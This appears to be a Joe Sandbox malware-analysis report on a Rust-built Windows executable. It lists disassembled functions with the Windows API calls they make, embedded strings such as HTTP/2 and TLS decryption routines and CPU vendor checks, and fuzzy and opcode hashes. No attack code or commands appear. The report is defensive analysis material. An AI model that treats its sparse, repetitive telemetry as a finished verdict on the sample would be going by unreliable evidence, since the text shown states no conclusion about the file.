Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 960f371696a47e09ec484950e86463887381e8835e7a3efae7137e79c37b6459
Instruction ID: 86ccf13d61858e45b08892bf90cb39de0aca4f987b8708f822bd7b11de7da5e0
Opcode Fuzzy Hash: 960f371696a47e09ec484950e86463887381e8835e7a3efae7137e79c37b6459
Instruction Fuzzy Hash: E1E09212E488E181F675521EB8801BD1320EB80738F589736DBBE622D0CE7CF8835300

Function 00007FF652E65588 Relevance: 1.3, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,00007FF652EE5656,00000000,?,?,00007FF652EE6C5A,?,?,?,?,?,00000000,?,?), ref: 00007FF652E65594

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 75f8eafe3e2563a8345647b485c3ccfd5fe94f5f82d726bd1dd058322dc6b7d5
Instruction ID: 400a3f5ee25ba53d1e2b1923259083b6e0033c451a124e150aa7f3a20b4d0bf4
Opcode Fuzzy Hash: 75f8eafe3e2563a8345647b485c3ccfd5fe94f5f82d726bd1dd058322dc6b7d5
Instruction Fuzzy Hash: FDD0C202F4547282E679622AB8891BD5210AB85738F989335CABD673D4CD6CFCC35300

Non-executed Functions

Function 00007FF652EBDC30 Relevance: 40.7, APIs: 20, Strings: 3, Instructions: 458fileCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF652EBDE39
GetFullPathNameW.KERNEL32 ref: 00007FF652EBDE4E
GetLastError.KERNEL32 ref: 00007FF652EBDE5A
GetLastError.KERNEL32 ref: 00007FF652EBDE6F
memcpy.MSVCRT ref: 00007FF652EBE049
memcpy.MSVCRT ref: 00007FF652EBE0AE
CreateFileW.KERNEL32 ref: 00007FF652EBE139
GetLastError.KERNEL32 ref: 00007FF652EBE14A
GetFileInformationByHandle.KERNEL32 ref: 00007FF652EBE192
GetFileInformationByHandleEx.KERNEL32 ref: 00007FF652EBE1C5
GetCurrentProcess.KERNEL32 ref: 00007FF652EBE1EB
DuplicateHandle.KERNEL32 ref: 00007FF652EBE215
GetLastError.KERNEL32 ref: 00007FF652EBE28E
CreateFileMappingA.KERNEL32 ref: 00007FF652EBE2D7
MapViewOfFile.KERNEL32 ref: 00007FF652EBE2FE
CloseHandle.KERNEL32 ref: 00007FF652EBE309
CloseHandle.KERNEL32 ref: 00007FF652EBE337
GetLastError.KERNEL32 ref: 00007FF652EBE33E
CloseHandle.KERNEL32 ref: 00007FF652EBE34E

Strings

\\?\UNC\, xrefs: 00007FF652EBDF5E
\\?\, xrefs: 00007FF652EBDECE
internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF652EBE384

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ErrorHandleLast$File$Close$CreateInformationmemcpy$CurrentDuplicateFullMappingNamePathProcessView
String ID: \\?\$\\?\UNC\$internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs
API String ID: 3041253423-2880987064
Opcode ID: 964e4867d28f0d8e630b07e41e1f908b08a63d458f093d05fa24b2c88db12e16
Instruction ID: b5572efea5a4e1287426996151ccad64409d6c456e7ed68601c9e5b5bf8dff34
Opcode Fuzzy Hash: 964e4867d28f0d8e630b07e41e1f908b08a63d458f093d05fa24b2c88db12e16
Instruction Fuzzy Hash: 82129062A087A285FB749A61EC083B923A0FB4579CF5C4139DE5DA76C5DFBCE981C300

Function 00007FF652EDD420 Relevance: 39.2, APIs: 19, Strings: 3, Instructions: 738processCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF652EDD528
GetCurrentDirectoryW.KERNEL32 ref: 00007FF652EDD533
GetLastError.KERNEL32 ref: 00007FF652EDD53F
GetLastError.KERNEL32 ref: 00007FF652EDD558
GetLastError.KERNEL32 ref: 00007FF652EDD602
memset.MSVCRT ref: 00007FF652EDD746
RtlCaptureContext.KERNEL32 ref: 00007FF652EDD74E
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF652EDD772
CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF652EDD920
memset.MSVCRT ref: 00007FF652EDD93D

Strings

internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF652EDDF40
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...], xrefs: 00007FF652EDDEF6
stack backtrace:, xrefs: 00007FF652EDD6B8

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ErrorLast$memset$CaptureContextCreateCurrentDirectoryEntryFunctionLookupSnapshotToolhelp32
String ID: internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs$note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...]$stack backtrace:
API String ID: 3426570729-868936471
Opcode ID: f1c184ffe5529d3b293356e155102cf40ea3657312b890d35407029c4d91820b
Instruction ID: b055bd0a23a564752d11d89534dcfd1c3b49b4466bffc8fd156756f5224bf20c
Opcode Fuzzy Hash: f1c184ffe5529d3b293356e155102cf40ea3657312b890d35407029c4d91820b
Instruction Fuzzy Hash: 92826F62A09BD188EB708F25DC443ED2760FB8579CF484139DA4DABB99DFB8D684C341

Function 00007FF652E7C062 Relevance: 26.3, APIs: 9, Strings: 7, Instructions: 2318COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E7C0CD
memcpy.MSVCRT ref: 00007FF652E7C660
memcpy.MSVCRT ref: 00007FF652E7C678
memcpy.MSVCRT ref: 00007FF652E7C6CC
memcpy.MSVCRT ref: 00007FF652E7CB0C
memcpy.MSVCRT ref: 00007FF652E7CB68
memcpy.MSVCRT ref: 00007FF652E7CC38

Strings

invalid initial remote window size, xrefs: 00007FF652E7D876
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E7FCF6, 00007FF652E7FD54
invalid initial window size, xrefs: 00007FF652E7D895
assertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZE/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/h2-0.4.7/src/frame/settings.rs, xrefs: 00007FF652E7C479
assertion failed: max <= u32::MAX as usize, xrefs: 00007FF652E7FC2F
PRI * HTTP/2.0SM, xrefs: 00007FF652E7C6EE
invalid SETTINGS frame, xrefs: 00007FF652E7D0F8

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: PRI * HTTP/2.0SM$assertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZE/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/h2-0.4.7/src/frame/settings.rs$assertion failed: max <= u32::MAX as usize$called `Result::unwrap()` on an `Err` value$invalid SETTINGS frame$invalid initial remote window size$invalid initial window size
API String ID: 3510742995-1548197461
Opcode ID: 429b71c0a71eaf86b64559e15458459e75aaac69a4a09f458ae125ba178357d4
Instruction ID: 5a016dbda44adc481f96df47b354129efc3f67c51478112a186b942a40ac3d7f
Opcode Fuzzy Hash: 429b71c0a71eaf86b64559e15458459e75aaac69a4a09f458ae125ba178357d4
Instruction Fuzzy Hash: 8E632736609BD486D7A1CB15E8847DEB3A8F388B84F15512ADBCC93B59EF38D195CB00

Function 00007FF652E8B342 Relevance: 20.8, APIs: 10, Strings: 3, Instructions: 1286COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E8B4CD
memcpy.MSVCRT ref: 00007FF652E8B541
memcpy.MSVCRT ref: 00007FF652E8BA14
memset.MSVCRT ref: 00007FF652E8BB29
memcpy.MSVCRT ref: 00007FF652E8C2C5
memcpy.MSVCRT ref: 00007FF652E8C6CF

Strings

Map must not be polled after it returned `Poll::Ready`, xrefs: 00007FF652E8CE6F
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E8CEE5, 00007FF652E8CF2B, 00007FF652E8CF6A
internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs, xrefs: 00007FF652E8CE87, 00007FF652E8CEA3

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy$memset
String ID: Map must not be polled after it returned `Poll::Ready`$called `Result::unwrap()` on an `Err` value$internal error: entered unreachable code/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\mod.rs
API String ID: 438689982-2967387540
Opcode ID: 5989b90148e8955e91bc56b2b0cb180530464110d1e25e5391b61c132fe683bd
Instruction ID: 5ab6d000b03f4c28b7534601660064af07372685f780024041c32f6ce394302d
Opcode Fuzzy Hash: 5989b90148e8955e91bc56b2b0cb180530464110d1e25e5391b61c132fe683bd
Instruction Fuzzy Hash: 24E25E3260CBD185E6758B15E8403EEB7A0FB99788F48512ADACDA3B59DF7CD185CB00

Function 00007FF652E484F3 Relevance: 16.9, APIs: 13, Instructions: 615COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E4855A
memcpy.MSVCRT ref: 00007FF652E48588
memcpy.MSVCRT ref: 00007FF652E4860E
memcpy.MSVCRT ref: 00007FF652E487BC
memcpy.MSVCRT ref: 00007FF652E48EA4
memcpy.MSVCRT ref: 00007FF652E48F09
memcpy.MSVCRT ref: 00007FF652E48F4A
memcpy.MSVCRT ref: 00007FF652E48F77
memcpy.MSVCRT ref: 00007FF652E48FB6
memcpy.MSVCRT ref: 00007FF652E49010
memcpy.MSVCRT ref: 00007FF652E49051

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 307cc06fa4096393c12dd877baca28bef64b02e87b954052a1d2604a8636ed6a
Instruction ID: a819327f810622ace5e6f363b4e261ad96d9dc8bb88d743958d0492ebced27a5
Opcode Fuzzy Hash: 307cc06fa4096393c12dd877baca28bef64b02e87b954052a1d2604a8636ed6a
Instruction Fuzzy Hash: E9629F2290C6D185E731CB25E8113EEB760FB95788F489129DBCC67696DFBCE584CB80

Function 00007FF652E8F41E Relevance: 8.4, Strings: 6, Instructions: 882COMMON

Download Yara Rule

Strings

bdp enabled implies bytes, xrefs: 00007FF652E904FC
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E903F8, 00007FF652E904D8
polled after complete, xrefs: 00007FF652E903B6
pong received implies ping_sent_at, xrefs: 00007FF652E900D0
Future polled twice, xrefs: 00007FF652E9040B, 00007FF652E9041B, 00007FF652E90462, 00007FF652E90472
ConnTask Future polled twice, xrefs: 00007FF652E90496

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: ConnTask Future polled twice$Future polled twice$bdp enabled implies bytes$called `Result::unwrap()` on an `Err` value$polled after complete$pong received implies ping_sent_at
API String ID: 3510742995-1767539418
Opcode ID: b26aaa7db6394ecc68244803d74ea112bff0a8664842feeec826991aa54b4113
Instruction ID: ab7c770a246cc57d81dac66ea3cee5591594e3db35f8d5237e9efd65b91b0cdd
Opcode Fuzzy Hash: b26aaa7db6394ecc68244803d74ea112bff0a8664842feeec826991aa54b4113
Instruction Fuzzy Hash: 27A29122A08BD185E725CB25E8503EEB360FB95788F48912ADBCD63756DFBCE585C700

Function 00007FF652E4D796 Relevance: 6.4, APIs: 2, Strings: 2, Instructions: 438COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E4D866
memset.MSVCRT ref: 00007FF652E4D904

Strings

\"SensitiveInvalidHeaderValuefailed to parse header value/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/http-1.2.0/src/method.rsInvalidMethodinvalid HTTP method, xrefs: 00007FF652E4DCA8
InvalidUri, xrefs: 00007FF652E4DDB2

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpymemset
String ID: InvalidUri$\"SensitiveInvalidHeaderValuefailed to parse header value/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/http-1.2.0/src/method.rsInvalidMethodinvalid HTTP method
API String ID: 1297977491-3631231627
Opcode ID: 0a1720e7c683323bd21d6454356ea1e32093178b03f0c580e4fa6418bc8aa3f7
Instruction ID: 530aabbe989f33e8a6b736d16ef30eb854593c424817bf2caccea09c66b5ec62
Opcode Fuzzy Hash: 0a1720e7c683323bd21d6454356ea1e32093178b03f0c580e4fa6418bc8aa3f7
Instruction Fuzzy Hash: 83F12662718B9581EE11CB2AA8041B96760FB8ABE8F484339DFADA77D5DF7CD145C300

Function 00007FF652EC8130 Relevance: 5.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652EC8204
memcpy.MSVCRT ref: 00007FF652EC8285
memcpy.MSVCRT ref: 00007FF652EC82F3
memcpy.MSVCRT ref: 00007FF652EC8369

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: baaa8290b25ae01c3327bd45acfb11b0a318dfb4cd700c8b20c2dfc6c0a574a5
Instruction ID: 778c553b24d2dd205d5404f1ad8397fc0b001268a79fafd00df799990c3b81a7
Opcode Fuzzy Hash: baaa8290b25ae01c3327bd45acfb11b0a318dfb4cd700c8b20c2dfc6c0a574a5
Instruction Fuzzy Hash: ADB19362B04BA196E745CF61E9403AD7BA0FB04B88F088539DF5DB7B85DF78A461C340

Function 00007FF652ED3E80 Relevance: 4.5, APIs: 3, Instructions: 731COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4332793a6f3b8bd5246b65d5c97014427d4eecf789e6382e794b56b88349d4a5
Instruction ID: 1f39877d0906ae79b6e1f1e89530eb2616af2e6a91132a8940e7f536f7f12075
Opcode Fuzzy Hash: 4332793a6f3b8bd5246b65d5c97014427d4eecf789e6382e794b56b88349d4a5
Instruction Fuzzy Hash: 8662D352E04BD482E7118F2999012E86760FB687DCF49A325EF6D67796EF78E2D1C300

Function 00007FF652ED5D40 Relevance: 4.4, APIs: 3, Instructions: 675COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c24bbaa9a0c0b19751db31c99fe34afbd7953d277a1445116246529b3c98cada
Instruction ID: c470159b601554743a796bacca51c97402628f3f3e4eeb1e9e7011475eba7490
Opcode Fuzzy Hash: c24bbaa9a0c0b19751db31c99fe34afbd7953d277a1445116246529b3c98cada
Instruction Fuzzy Hash: 0652B052E04BD882E7108F289A012E86760FB697DCF4AA725DF6D53796EF74E2D5C300

Function 00007FF652ED23F0 Relevance: 4.4, APIs: 3, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6bd2c70fe26db59d29e8b81e854edd99d9ffc94a8e8801fe196515acbf871f3
Instruction ID: 5ff7cf9324b59ccbb0b19efc4c722e5e23daa91187e428eca05adc0bcc59b5c2
Opcode Fuzzy Hash: b6bd2c70fe26db59d29e8b81e854edd99d9ffc94a8e8801fe196515acbf871f3
Instruction Fuzzy Hash: 8452D072A14B9492DB10CF28D9406EC7364F768B98F859726DF6D633A1EF78E295C300

Function 00007FF652E5313D Relevance: 4.1, Strings: 3, Instructions: 390COMMON

Download Yara Rule

Strings

Authenti, xrefs: 00007FF652E53621
HygonGen, xrefs: 00007FF652E53640
GenuineI, xrefs: 00007FF652E53680

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID: Authenti$GenuineI$HygonGen
API String ID: 0-696657513
Opcode ID: 5861c46aa247797b7288fdc15e860bb51f081562756018698ef0c58310157758
Instruction ID: 0910bd148a3c0c6080bdeac77f2c3d5c961b5ffbe3987a2d33ff7d2ec4d0d3df
Opcode Fuzzy Hash: 5861c46aa247797b7288fdc15e860bb51f081562756018698ef0c58310157758
Instruction Fuzzy Hash: 04C15663739A5046FB588A55BC167AA99C1B3987C8F0C603DFE5F9BB84CDBCD940C200

Function 00007FF652E6F6DB Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 232windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652E723CB: memset.MSVCRT ref: 00007FF652E7240C

DecryptMessage.SECUR32 ref: 00007FF652E72851

Part of subcall function 00007FF652E573D2: memcpy.MSVCRT ref: 00007FF652E5740C

Part of subcall function 00007FF652EB6964: memcpy.MSVCRT ref: 00007FF652EB698F

Strings

assertion failed: pos <= self.dec_in.get_ref().len() as u64, xrefs: 00007FF652E72ADE

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy$DecryptMessagememset
String ID: assertion failed: pos <= self.dec_in.get_ref().len() as u64
API String ID: 1498484907-2093299206
Opcode ID: 2c39c759ebf2586e7038bf5d114d9997aa544f360e8a6ae00c80eaff7886fb3f
